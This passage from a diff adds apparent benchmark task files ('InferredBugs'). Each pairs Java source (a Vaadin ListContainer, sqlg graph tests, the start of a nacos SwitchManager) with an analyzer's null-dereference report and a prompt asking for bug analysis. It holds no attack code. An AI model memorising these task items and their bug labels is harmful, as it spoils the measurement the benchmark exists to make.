+        if (itemId == null) {
+            return null;
+        }
+        return new DynaBeanItem<>((T) itemId);
+    }
+
+    @Override
+    public Collection<String> getContainerPropertyIds() {
+        if (properties == null) {
+            if (getDynaClass() != null) {
+                ArrayList<String> props = new ArrayList<>();
+                for (DynaProperty db : getDynaClass().getDynaProperties()) {
+                    if (db.getType() != null) {
+                        props.add(db.getName());
+                    } else {
+                        // type may be null in some cases
+                        Logger.getLogger(ListContainer.class.getName()).log(
+                                Level.FINE, "Type not detected for property {0}",
+                                db.getName());
+                    }
+                }
+                props.remove("class");
+                properties = props;
+            } else {
+                return Collections.EMPTY_LIST;
+            }
+        }
+        return properties;
+
+    }
+
+    @Override
+    public Collection<?> getItemIds() {
+        return getBackingList();
+    }
+
+    @Override
+    public Property getContainerProperty(Object itemId, Object propertyId) {
+        return getItem(itemId).getItemProperty(propertyId);
+    }
+
+    @Override
+    public Class<?> getType(Object propertyId) {
+        final String pName = propertyId.toString();
+        try {
+            final DynaProperty dynaProperty = getDynaClass().getDynaProperty(
+                    pName);
+            final Class<?> type = dynaProperty.getType();
+            if (type.isPrimitive()) {
+                // Vaadin can't handle primitive types in _all_ places, so use
+                // wrappers instead. FieldGroup works, but e.g. Table in _editable_
+                // mode fails for some reason
+                return ClassUtils.primitiveToWrapper(type);
+            }
+            return type;
+        } catch (Exception e) {
+            // If type can't be found via dynaClass, it is most likely 
+            // nested/indexed/mapped property
+            try {
+                return getNestedPropertyType(getDynaClass(), pName);
+            } catch (final IllegalAccessException 
+                         | InvocationTargetException 
+                         | NoSuchMethodException 
+                         | ClassNotFoundException 
+                         | NoSuchFieldException ex) {
+                throw new RuntimeException(ex);
+            }
+        }
+    }
+
+    private static Resolver resolver = new DefaultResolver();
+
+    public static Class<?> getNestedPropertyType(DynaClass bean, String name)
+            throws IllegalAccessException, InvocationTargetException,
+            NoSuchMethodException, ClassNotFoundException, NoSuchFieldException {
+        if (bean == null) {
+            // The type is not properly initilized yet, just leave it as generic
+            // Object
+            return Object.class;
+        }
+        // Resolve nested references
+        while (resolver.hasNested(name)) {
+            String next = resolver.next(name);
+            if (resolver.isIndexed(next) || resolver.isMapped(next)) {
+                String property = resolver.getProperty(next);
+                Class<?> clazz = Class.forName(bean.getName());
+                Class<?> detectTypeParameter = detectTypeParameter(clazz,
+                        property, resolver.isIndexed(name) ? 0 : 1);
+                bean = WrapDynaClass.createDynaClass(detectTypeParameter);
+                return getNestedPropertyType(bean, resolver.remove(name));
+            }
+            DynaProperty db = bean.getDynaProperty(next);
+            bean = WrapDynaClass.createDynaClass(db.getType());
+            name = resolver.remove(name);
+        }
+        if (resolver.isMapped(name) || resolver.isIndexed(name)) {
+            String property = resolver.getProperty(name);
+            Class<?> clazz = Class.forName(bean.getName());
+            return detectTypeParameter(clazz, property,
+                    resolver.isIndexed(name) ? 0 : 1);
+        }
+        Class<?> type;
+        DynaProperty dynaProperty = bean.getDynaProperty(name);
+        if (dynaProperty != null) {
+        	type = dynaProperty.getType();
+        } 
+        else { //happens for default methods
+        	Method method = obtainGetterOfProperty(bean, name);
+        	type = method.getReturnType();
+        }
+        if (type.isPrimitive() == true) {
+            // Vaadin can't handle primitive types in _all_ places, so use
+            // wrappers instead. FieldGroup works, but e.g. Table in _editable_
+            // mode fails for some reason
+            return ClassUtils.primitiveToWrapper(type);
+        }
+        return type;
+    }
+    
+    /**
+     * Explicitly resolves the getter bypassing commons.beanutils
+     * @param beanClass
+     * @param propertyName
+     * @return getter method of the property
+     * @throws ClassNotFoundException if class forName fails
+     * @throws NoSuchMethodException if there is no getter
+     * @throws SecurityException if there are constraints by the security manager
+     */
+    private static Method obtainGetterOfProperty(DynaClass beanClass, String propertyName) throws ClassNotFoundException, NoSuchMethodException, SecurityException {
+    	Class<?> clazz = Class.forName(beanClass.getName());
+    	return clazz.getMethod("get"+firstLetterUppercase(propertyName));
+    }
+    private static String firstLetterUppercase(String s) {
+    	return Character.toUpperCase(s.charAt(0)) + (s.length() > 1 ? s.substring(1) : "");
+    }
+
+    private static Class<?> detectTypeParameter(Class clazz, String name,
+            int idx) throws NoSuchFieldException {
+        Field declaredField = clazz.getDeclaredField(name);
+        Type genericType = declaredField.getGenericType();
+        if (genericType instanceof ParameterizedType) {
+            ParameterizedType parameterizedType = (ParameterizedType) genericType;
+            return (Class<?>) parameterizedType.getActualTypeArguments()[idx];
+        }
+        return Object.class;
+    }
+
+    @Override
+    public int size() {
+        return getBackingList().size();
+    }
+
+    @Override
+    public boolean containsId(Object itemId) {
+        return getBackingList().contains(itemId);
+    }
+
+    @Override
+    public Item addItem(Object itemId) throws UnsupportedOperationException {
+        backingList.add((T) itemId);
+        fireItemSetChange();
+        return getItem(itemId);
+    }
+
+    @Override
+    public Object addItem() throws UnsupportedOperationException {
+        throw new UnsupportedOperationException("Not supported yet.");
+    }
+
+    @Override
+    public boolean removeItem(Object itemId) throws UnsupportedOperationException {
+        final boolean remove = backingList.remove(itemId);
+        if (remove) {
+            fireItemSetChange();
+        }
+        return remove;
+    }
+
+    @Override
+    public boolean addContainerProperty(Object propertyId,
+            Class<?> type, Object defaultValue) throws UnsupportedOperationException {
+        throw new UnsupportedOperationException("Not supported yet.");
+    }
+
+    @Override
+    public boolean removeContainerProperty(Object propertyId) throws UnsupportedOperationException {
+        throw new UnsupportedOperationException("Not supported yet.");
+    }
+
+    @Override
+    public boolean removeAllItems() throws UnsupportedOperationException {
+        backingList.clear();
+        fireItemSetChange();
+        return true;
+    }
+
+    public ListContainer addAll(Collection<T> beans) {
+        backingList.addAll(beans);
+        fireItemSetChange();
+        return this;
+    }
+
+    @Override
+    public void sort(Object[] propertyId, boolean[] ascending) {
+
+        // Grid in 7.4 may call this method with empty sorting instructions...
+        if (propertyId.length > 0) {
+            if (backingList instanceof SortableLazyList) {
+                // using with MGrid may end up here
+                SortableLazyList sll = (SortableLazyList) backingList;
+                String[] stringProperties = new String[propertyId.length];
+                System.arraycopy(propertyId, 0, stringProperties, 0, propertyId.length);
+                sll.setSortProperty(stringProperties);
+                sll.setSortAscending(ascending);
+                sll.reset();
+            } else {
+                Comparator<T> comparator = new PropertyComparator(propertyId,
+                        ascending);
+
+                Collections.sort(backingList, comparator);
+            }
+            fireItemSetChange();
+        }
+    }
+
+    @Override
+    public Collection<?> getSortableContainerPropertyIds() {
+        if (backingList instanceof SortableLazyList) {
+            // Assume SortableLazyList can sort by any Comparable property
+        } else if (backingList instanceof LazyList) {
+            // When using LazyList, don't support sorting by default
+            // as the sorting should most probably be done at backend call level
+            return Collections.emptySet();
+        }
+        final ArrayList<String> props = new ArrayList<>();
+        for (Object a : getContainerPropertyIds()) {
+            String propName = a.toString();
+            try {
+                Class<?> propType = getType(propName);
+                if (propType != null && (propType.isPrimitive() || Comparable.class.isAssignableFrom(propType))) {
+                    props.add(propName);
+                }
+            } catch (Exception e) {
+            }
+        }
+        return props;
+    }
+
+    @Override
+    public void addItemSetChangeListener(
+            Container.ItemSetChangeListener listener) {
+        super.addItemSetChangeListener(listener);
+    }
+
+    @Override
+    public void removeItemSetChangeListener(
+            Container.ItemSetChangeListener listener) {
+        super.removeItemSetChangeListener(listener);
+    }
+
+    @Override
+    public void addListener(Container.ItemSetChangeListener listener) {
+        super.addListener(listener);
+    }
+
+    @Override
+    public void removeListener(Container.ItemSetChangeListener listener) {
+        super.removeListener(listener);
+    }
+
+    /**
+     *
+     * Override point. Allows user to use custom comparators based on
+     * properties.
+     *
+     * @param property the property whose comparator is requested
+     * @return Comparator that will compare two objects based on a property
+     */
+    protected Comparator<T> getUnderlyingComparator(Object property) {
+        return new NullComparator();
+    }
+
+    /**
+     * Explicitly sets the property ids that should be reported by this
+     * container. Allows e.g. usage of "nested properties".
+     *
+     * @param properties the properties reported by this container
+     */
+    public void setContainerPropertyIds(String... properties) {
+        this.properties = Arrays.asList(properties);
+    }
+
+    @Override
+    public void fireItemSetChange() {
+        super.fireItemSetChange();
+    }
+
+    private class PropertyComparator implements Comparator<T> {
+
+        private final Object[] propertyId;
+        private final boolean[] ascending;
+
+        private PropertyComparator(Object[] propertyId, boolean[] ascending) {
+            this.propertyId = propertyId;
+            this.ascending = ascending;
+        }
+
+        @Override
+        public int compare(T o1, T o2) {
+            for (int i = 0; i < propertyId.length; i++) {
+                String currentProperty = propertyId[i].toString();
+                Comparator underlyingComparator = getUnderlyingComparator(currentProperty);
+                Comparator currentComparator = underlyingComparator != null ? underlyingComparator : ComparableComparator.getInstance();
+
+                if (!ascending[i]) {
+                    currentComparator = new ReverseComparator(currentComparator);
+                }
+
+                Object o1Prop = getContainerProperty(o1, currentProperty).getValue();
+                Object o2Prop = getContainerProperty(o2, currentProperty).getValue();
+                int compare = currentComparator.compare(o1Prop, o2Prop);
+                if (compare != 0) {
+                    return compare;
+                }
+            }
+
+            return 0;
+        }
+    }
+
+    public class DynaBeanItem<T> implements Item {
+
+        private static final long serialVersionUID = 39911097876284908L;
+
+        private final Map<Object, DynaProperty> propertyIdToProperty = new HashMap<>();
+
+        private class DynaProperty implements Property {
+
+            private static final long serialVersionUID = -6887983770952190177L;
+
+            private final String propertyName;
+
+            DynaProperty(String property) {
+                propertyName = property;
+            }
+
+            @Override
+            public Object getValue() {
+            	DynaBean dynaBean = getDynaBean();
+            	try {
+                    return dynaBean.get(propertyName);
+                } catch (final Exception e) {
+                    try {
+                        return PropertyUtils.getProperty(bean, propertyName);
+                    } 
+                    catch (final NestedNullException | java.lang.IndexOutOfBoundsException ex) {
+                        return null;
+                    } catch (final IllegalAccessException | InvocationTargetException ex) {
+                        throw new RuntimeException(ex);
+                    } catch (final NoSuchMethodException ex) {
+                    	Logger.getLogger(ListContainer.class.getName()).log(
+                                Level.FINE, "Trying default method fallback for property {0}",
+                                propertyName);
+                    }
+                }
+            	
+            	//fallback for default methods:
+            	Method method;
+				try {
+					method = obtainGetterOfProperty(dynaBean.getDynaClass(), propertyName);
+					return method.invoke(bean);
+				} catch (final ReflectiveOperationException 
+                             | SecurityException 
+                             | IllegalArgumentException e) {
+					throw new RuntimeException(e);
+				}
+            }
+
+            @Override
+            public void setValue(Object newValue) throws Property.ReadOnlyException {
+                try {
+                    PropertyUtils.setProperty(bean, propertyName, newValue);
+                } catch (final IllegalAccessException 
+                             | InvocationTargetException 
+                             | NoSuchMethodException ex) {
+                    throw new RuntimeException(ex);
+                }
+            }
+
+            @Override
+            public Class getType() {
+                return ListContainer.this.getType(propertyName);
+            }
+
+            @Override
+            public boolean isReadOnly() {
+                return getDynaClass().getPropertyDescriptor(propertyName).
+                        getWriteMethod() == null;
+            }
+
+            @Override
+            public void setReadOnly(boolean newStatus) {
+                throw new UnsupportedOperationException("Not supported yet.");
+            }
+
+        }
+
+        private final T bean;
+
+        private transient DynaBean db;
+
+        public DynaBeanItem(T bean) {
+            this.bean = bean;
+        }
+
+        public T getBean() {
+            return bean;
+        }
+
+        private DynaBean getDynaBean() {
+            if (db == null) {
+                try {
+                    db = new WrapDynaBean(bean, getDynaClass(bean));
+                } catch (Throwable e) {
+                    // Older version of beanutils is somehow available by the 
+                    // classloader! Probably tomee
+                    db = new WrapDynaBean(bean);
+                }
+            }
+            return db;
+        }
+
+        @Override
+        public Property getItemProperty(Object id) {
+            DynaProperty prop = propertyIdToProperty.get(id);
+            if (prop == null) {
+                prop = new DynaProperty(id.toString());
+                propertyIdToProperty.put(id, prop);
+            }
+            return prop;
+        }
+
+        @Override
+        public Collection<String> getItemPropertyIds() {
+            return ListContainer.this.getContainerPropertyIds();
+        }
+
+        @Override
+        public boolean addItemProperty(Object id, Property property) throws UnsupportedOperationException {
+            throw new UnsupportedOperationException("Not supported yet.");
+        }
+
+        @Override
+        public boolean removeItemProperty(Object id) throws UnsupportedOperationException {
+            throw new UnsupportedOperationException("Not supported yet.");
+        }
+    }
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getItem(itemId)` could be null and is dereferenced at line 240.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Property ListContainer.getContainerProperty(Object,Object)
+
+### Procedure Id:
+org.vaadin.viritin.ListContainer.getContainerProperty(java.lang.Object,java.lang.Object):com.vaadin..72b8d6f2cd3fe329f267712516a51a20
+
+### File:
+src/main/java/org/vaadin/viritin/ListContainer.java
+
+### Key:
+ListContainer.java|getContainerProperty|NULL_DEREFERENCE
+
+### Node Key:
+fc2aaab75798aab82b2a0cd752e0ecce
+
+### Hash:
+88346ed72dcf76253df1a370aa44182d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5043/instruction.md b/inferredbugs-5043/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e2a5f23f48b531de043b83e509a7cf2555c9659f
--- /dev/null
+++ b/inferredbugs-5043/instruction.md
@@ -0,0 +1,154 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sqlg
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.umlg.sqlg.test.edges;
+
+import org.apache.tinkerpop.gremlin.structure.T;
+import org.apache.tinkerpop.gremlin.structure.Vertex;
+import org.junit.Assert;
+import org.junit.Test;
+import org.umlg.sqlg.test.BaseTest;
+
+import java.util.List;
+
+/**
+ * Date: 2014/11/20
+ * Time: 9:31 PM
+ */
+public class TestCreateEdgeBetweenVertices extends BaseTest {
+
+    @Test
+    public void testCreateEdgeBetweenVertices() {
+        Vertex person1 = this.sqlgGraph.addVertex(T.label, "Person");
+        Vertex person2 = this.sqlgGraph.addVertex(T.label, "Person");
+        this.sqlgGraph.tx().commit();
+        person1 = this.sqlgGraph.v(person1.id());
+        person2 = this.sqlgGraph.v(person2.id());
+        person1.addEdge("friend", person2);
+        this.sqlgGraph.tx().commit();
+        Assert.assertEquals(1, vertexTraversal(person1).out("friend").count().next().intValue());
+        Assert.assertEquals(1, vertexTraversal(person2).in("friend").count().next().intValue());
+    }
+
+    @Test
+    public void testCreateEdgeBetweenVerticesPropertiesEagerlyLoadedOnHas() {
+        Vertex person1 = this.sqlgGraph.addVertex(T.label, "Person", "name", "john");
+        Vertex person2 = this.sqlgGraph.addVertex(T.label, "Person", "name", "peter");
+        this.sqlgGraph.tx().commit();
+        person1 = this.sqlgGraph.v(person1.id());
+        person2 = this.sqlgGraph.v(person2.id());
+        person1.addEdge("friend", person2);
+        Assert.assertEquals("john", person1.value("name"));
+        Assert.assertEquals("peter", person2.value("name"));
+        this.sqlgGraph.tx().commit();
+        List<Vertex> vertices = this.sqlgGraph.traversal().V().<Vertex>has(T.label, "Person").toList();
+        Assert.assertEquals(1, vertexTraversal(vertices.get(0)).out("friend").count().next().intValue());
+        Assert.assertEquals(1, vertexTraversal(vertices.get(1)).in("friend").count().next().intValue());
+        Assert.assertEquals(2, vertices.size());
+    }
+
+    @Test
+    public void testCreateEdgeBetweenVerticesPropertiesEagerlyLoadedOnHasHas() {
+        Vertex person1 = this.sqlgGraph.addVertex(T.label, "Person", "name", "john");
+        Vertex person2 = this.sqlgGraph.addVertex(T.label, "Person", "name", "peter");
+        this.sqlgGraph.tx().commit();
+        person1 = this.sqlgGraph.v(person1.id());
+        person2 = this.sqlgGraph.v(person2.id());
+        person1.addEdge("friend", person2);
+        Assert.assertEquals("john", person1.value("name"));
+        Assert.assertEquals("peter", person2.value("name"));
+        this.sqlgGraph.tx().commit();
+        List<Vertex> vertices = this.sqlgGraph.traversal().V().<Vertex>has(T.label, "Person").<Vertex>has("name", "john").toList();
+        Assert.assertEquals(1, vertexTraversal(vertices.get(0)).out("friend").count().next().intValue());
+        Assert.assertEquals(1, vertices.size());
+        vertices = this.sqlgGraph.traversal().V().<Vertex>has(T.label, "Person").<Vertex>has("name", "peter").toList();
+        Assert.assertEquals(1, vertexTraversal(vertices.get(0)).in("friend").count().next().intValue());
+        Assert.assertEquals(1, vertices.size());
+    }
+
+    @Test
+    public void testCreateEdgeBetweenVerticesPropertiesEagerlyLoadedOnHasSortBy() {
+        Vertex person1 = this.sqlgGraph.addVertex(T.label, "Person", "name", "john");
+        for (int i = 0; i < 1000; i++) {
+            Vertex person2 = this.sqlgGraph.addVertex(T.label, "Person", "name", "peter" + i);
+            person1.addEdge("friend", person2);
+        }
+        this.sqlgGraph.tx().commit();
+        List<Vertex> vertices = this.sqlgGraph.traversal().V().<Vertex>has(T.label, "Person").toList();
+        Assert.assertEquals("john", vertices.get(0).value("name"));
+        Assert.assertEquals("peter0", vertices.get(1).value("name"));
+        Assert.assertEquals("peter999", vertices.get(1000).value("name"));
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `person1` last assigned on line 35 could be null and is dereferenced at line 37.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestCreateEdgeBetweenVertices.testCreateEdgeBetweenVerticesPropertiesEagerlyLoadedOnHas()
+
+### Procedure Id:
+org.umlg.sqlg.test.edges.TestCreateEdgeBetweenVertices.testCreateEdgeBetweenVerticesPropertiesEagerl.e0dbac46af99e213c4933b283995c8bd
+
+### File:
+sqlg-test/src/main/java/org/umlg/sqlg/test/edges/TestCreateEdgeBetweenVertices.java
+
+### Key:
+TestCreateEdgeBetweenVertices.java|testCreateEdgeBetweenVerticesPropertiesEagerlyLoadedOnHas|NULL_DEREFERENCE
+
+### Node Key:
+a76aaaf295df94800264f97e5523766c
+
+### Hash:
+9a28c88828ae7c498f0290f32515874f
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5044/instruction.md b/inferredbugs-5044/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..53bef6f0a3874e107bbac210e59a242f8ccd0515
--- /dev/null
+++ b/inferredbugs-5044/instruction.md
@@ -0,0 +1,220 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sqlg
+**Bug ID:** 19
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.umlg.sqlg.test.vertex;
+
+import org.apache.commons.configuration.ConfigurationException;
+import org.apache.commons.configuration.PropertiesConfiguration;
+import org.apache.tinkerpop.gremlin.structure.Edge;
+import org.apache.tinkerpop.gremlin.structure.T;
+import org.apache.tinkerpop.gremlin.structure.Vertex;
+import org.junit.Assert;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.umlg.sqlg.test.BaseTest;
+
+import java.beans.PropertyVetoException;
+import java.io.IOException;
+import java.net.URL;
+import java.util.List;
+
+/**
+ * Date: 2014/10/04
+ * Time: 2:03 PM
+ */
+public class TestVertexCache extends BaseTest {
+
+    @BeforeClass
+    public static void beforeClass() throws ClassNotFoundException, IOException, PropertyVetoException {
+        URL sqlProperties = Thread.currentThread().getContextClassLoader().getResource("sqlg.properties");
+        try {
+            configuration = new PropertiesConfiguration(sqlProperties);
+            configuration.setProperty("cache.vertices", true);
+            if (!configuration.containsKey("jdbc.url")) {
+                throw new IllegalArgumentException(String.format("SqlGraph configuration requires that the %s be set", "jdbc.url"));
+            }
+        } catch (ConfigurationException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    @Test
+    public void testVertexTransactionalCache() {
+        Vertex v1 = this.sqlgGraph.addVertex(T.label, "Person");
+        Vertex v2 = this.sqlgGraph.addVertex(T.label, "Person");
+        Vertex v3 = this.sqlgGraph.addVertex(T.label, "Person");
+        v1.addEdge("friend", v2);
+        Assert.assertEquals(1, vertexTraversal(v1).out("friend").count().next().intValue());
+        Vertex tmpV1 = this.sqlgGraph.v(v1.id());
+        tmpV1.addEdge("foe", v3);
+        //this should fail as v1's out edges will not be updated
+        Assert.assertEquals(1, vertexTraversal(tmpV1).out("foe").count().next().intValue());
+        Assert.assertEquals(1, vertexTraversal(v1).out("foe").count().next().intValue());
+        this.sqlgGraph.tx().rollback();
+    }
+
+    @Test
+    public void testVertexTransactionalCache2() {
+        Vertex v1 = this.sqlgGraph.addVertex(T.label, "Person");
+        Vertex v2 = this.sqlgGraph.addVertex(T.label, "Person");
+        Vertex v3 = this.sqlgGraph.addVertex(T.label, "Person");
+        Edge e1 = v1.addEdge("friend", v2);
+        Assert.assertEquals(1, vertexTraversal(v1).out("friend").count().next().intValue());
+
+        Vertex tmpV1 = edgeTraversal(this.sqlgGraph.e(e1.id())).outV().next();
+        tmpV1.addEdge("foe", v3);
+        //this should fail as v1's out edges will not be updated
+        Assert.assertEquals(1, vertexTraversal(tmpV1).out("foe").count().next().intValue());
+        Assert.assertEquals(1, vertexTraversal(v1).out("foe").count().next().intValue());
+        this.sqlgGraph.tx().rollback();
+    }
+
+    @Test
+    public void testVertexTransactionalCache3() {
+        Vertex v1 = this.sqlgGraph.addVertex(T.label, "Person");
+        Vertex v2 = this.sqlgGraph.addVertex(T.label, "Person");
+        Vertex v3 = this.sqlgGraph.addVertex(T.label, "Person");
+        Edge e1 = v1.addEdge("friend", v2);
+        Assert.assertEquals(1, vertexTraversal(v1).out("friend").count().next().intValue());
+
+        Vertex tmpV1 = vertexTraversal(v1).outE("friend").outV().next();
+        tmpV1.addEdge("foe", v3);
+        //this should fail as v1's out edges will not be updated
+        Assert.assertEquals(1, vertexTraversal(tmpV1).out("foe").count().next().intValue());
+        Assert.assertEquals(1, vertexTraversal(v1).out("foe").count().next().intValue());
+        this.sqlgGraph.tx().rollback();
+    }
+
+    @Test
+    public void testMultipleReferencesToSameVertex() {
+        Vertex v1 = this.sqlgGraph.addVertex(T.label, "Person", "name", "john");
+        this.sqlgGraph.tx().commit();
+        Assert.assertEquals("john", v1.value("name"));
+        //_v1 is in the transaction cache
+        //v1 is not
+        Vertex _v1 = this.sqlgGraph.v(v1.id());
+        Assert.assertEquals("john", _v1.value("name"));
+        v1.property("name", "john1");
+        Assert.assertEquals("john1", v1.value("name"));
+        Assert.assertEquals("john1", _v1.value("name"));
+    }
+
+    @Test
+    public void testMultipleReferencesToSameVertex2Instances() {
+        Vertex v1 = this.sqlgGraph.addVertex(T.label, "Person", "name", "john");
+        this.sqlgGraph.tx().commit();
+        //_v1 is in the transaction cache
+        //v1 is not
+        Vertex _v1 = this.sqlgGraph.v(v1.id());
+        Assert.assertEquals("john", v1.value("name"));
+        Assert.assertEquals("john", _v1.value("name"));
+        v1.property("name", "john1");
+        Assert.assertEquals("john1", v1.value("name"));
+        Assert.assertEquals("john1", _v1.value("name"));
+    }
+
+    @Test
+    public void testPropertiesNotBeingCachedOnVertexOut() {
+
+        Vertex v1 = this.sqlgGraph.addVertex(T.label, "Person");
+        Vertex v2 = this.sqlgGraph.addVertex(T.label, "Car", "name", "a");
+        Vertex v3 = this.sqlgGraph.addVertex(T.label, "Car", "name", "b");
+        Vertex v4 = this.sqlgGraph.addVertex(T.label, "Car", "name", "c");
+
+        v1.addEdge("car", v2);
+        v1.addEdge("car", v3);
+        v1.addEdge("car", v4);
+
+        this.sqlgGraph.tx().commit();
+
+        v1 = this.sqlgGraph.v(v1.id());
+        List<Vertex> cars = vertexTraversal(v1).out("car").toList();
+        Assert.assertEquals(3, cars.size());
+
+    }
+
+    @Test
+    public void testMultipleThreadsAccessSameVertexInstance() throws InterruptedException {
+        final Vertex v1 = this.sqlgGraph.addVertex(T.label, "Person", "name", "john");
+        this.sqlgGraph.tx().commit();
+        Thread t = new Thread(() -> {
+            Vertex b = TestVertexCache.this.sqlgGraph.addVertex(T.label, "Person");
+            v1.property("name", "john1");
+            TestVertexCache.this.sqlgGraph.tx().commit();
+        });
+        t.start();
+        t.join();
+        Assert.assertEquals("john1", v1.<String>value("name"));
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `v1` last assigned on line 127 could be null and is dereferenced by call to `vertexTraversal(...)` at line 128.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestVertexCache.testPropertiesNotBeingCachedOnVertexOut()
+
+### Procedure Id:
+org.umlg.sqlg.test.vertex.TestVertexCache.testPropertiesNotBeingCachedOnVertexOut():void.875b6f05a98dab33387ea489797e45fa
+
+### File:
+sqlg-test/src/main/java/org/umlg/sqlg/test/vertex/TestVertexCache.java
+
+### Key:
+TestVertexCache.java|testPropertiesNotBeingCachedOnVertexOut|NULL_DEREFERENCE
+
+### Node Key:
+db676ed5d21dd20dc975f9e3eeff4fa6
+
+### Hash:
+35ab5291f17f4d49b6dce28d4c04389d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5072/instruction.md b/inferredbugs-5072/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8acf0020cb181b4559173b442dc1edf6b807a45c
--- /dev/null
+++ b/inferredbugs-5072/instruction.md
@@ -0,0 +1,412 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nacos
+**Bug ID:** 20
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 1999-2018 Alibaba Group Holding Ltd.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.alibaba.nacos.naming.misc;
+
+import com.alibaba.fastjson.JSON;
+import com.alibaba.nacos.api.common.Constants;
+import com.alibaba.nacos.api.exception.NacosException;
+import com.alibaba.nacos.naming.cluster.ServerMode;
+import com.alibaba.nacos.naming.consistency.ConsistencyService;
+import com.alibaba.nacos.naming.consistency.Datum;
+import com.alibaba.nacos.naming.consistency.KeyBuilder;
+import com.alibaba.nacos.naming.consistency.RecordListener;
+import org.apache.commons.lang3.StringUtils;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Component;
+
+import javax.annotation.PostConstruct;
+import javax.annotation.Resource;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.locks.ReentrantLock;
+
+/**
+ * Switch manager
+ *
+ * @author nkorange
+ * @since 1.0.0
+ */
+@Component
+public class SwitchManager implements RecordListener<SwitchDomain> {
+
+    @Autowired
+    private SwitchDomain switchDomain;
+
+    @Resource(name = "consistencyDelegate")
+    private ConsistencyService consistencyService;
+
+    ReentrantLock lock = new ReentrantLock();
+
+    @PostConstruct
+    public void init() {
+
+        try {
+            consistencyService.listen(UtilsAndCommons.getSwitchDomainKey(), this);
+        } catch (NacosException e) {
+            Loggers.SRV_LOG.error("listen switch service failed.", e);
+        }
+    }
+
+    public void update(String entry, String value, boolean debug) throws Exception {
+
+        try {
+            lock.lock();
+
+            Datum datum = consistencyService.get(UtilsAndCommons.getSwitchDomainKey());
+            SwitchDomain switchDomain;
+
+            if (datum != null && datum.value != null) {
+                switchDomain = (SwitchDomain) datum.value;
+            } else {
+                switchDomain = this.switchDomain.clone();
+            }
+
+            if (SwitchEntry.BATCH.equals(entry)) {
+                //batch update
+                SwitchDomain dom = JSON.parseObject(value, SwitchDomain.class);
+                dom.setEnableStandalone(switchDomain.isEnableStandalone());
+                if (dom.getHttpHealthParams().getMin() < SwitchDomain.HttpHealthParams.MIN_MIN
+                    || dom.getTcpHealthParams().getMin() < SwitchDomain.HttpHealthParams.MIN_MIN) {
+
+                    throw new IllegalArgumentException("min check time for http or tcp is too small(<500)");
+                }
+
+                if (dom.getHttpHealthParams().getMax() < SwitchDomain.HttpHealthParams.MIN_MAX
+                    || dom.getTcpHealthParams().getMax() < SwitchDomain.HttpHealthParams.MIN_MAX) {
+
